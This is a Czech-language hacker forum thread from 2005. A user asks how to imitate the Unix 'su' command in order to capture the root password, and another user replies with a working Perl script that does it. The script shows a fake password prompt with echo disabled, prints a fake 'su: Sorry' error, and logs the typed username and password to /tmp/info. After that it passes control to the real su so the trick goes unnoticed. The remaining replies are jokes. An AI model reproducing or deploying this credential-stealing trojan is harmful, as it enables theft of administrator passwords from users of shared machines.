perl - emitace volani su

HackForum

perl - emitace volani su#
pls vyzna se nekdo z vas v PERLu? chtel bych napodobit volani su pro ziskani root pass :)

neco mam nacatyho, ale nejak to zatim nefacha. proste nekde v perlu delam chybu :/

diky za pomoc
(odpovědět)
bUgs10.9.2005 11:44
re: perl - emitace volani su#
lamo :D
(odpovědět)
bUgs.10.9.2005 19:14
re: perl - emitace volani su#
bUgs. : nejses natolik inteligentni abys napsal svuj nici, ale pouzil jsi muj. to mi prave pomohlo... vysledek viz. nize

#!/usr/bin/perl
use Term::ReadKey;
$user = $ARGV[0] || root;
$chislo = test($user);
if ($chislo == "1"){
system("/dev/usb/su");
}
else{
print "Password:";
ReadMode 'noecho';
$password = ReadLine 0;
print "\nsu: Sorry\n";
chomp $password;
ReadMode 'normal';
open(USE,">>/tmp/info");
print USE "$user:$password\n";
close(USE);
}
sub test() {
$user = shift;
open(USE,"</tmp/info");
while(<USE>){
if ($_ =~ m/$user/){
return "1";
close(USE);
}
else{}
}
}

(odpovědět)
bUgs10.9.2005 19:52
re: perl - emitace volani su#
boha jeho :)))))))
(odpovědět)
pimp10.9.2005 20:17
re: perl - emitace volani su#
Teda tady to jede :D
(odpovědět)
CzErW10.9.2005 21:52

Zpět
 
 
 

 
BBCode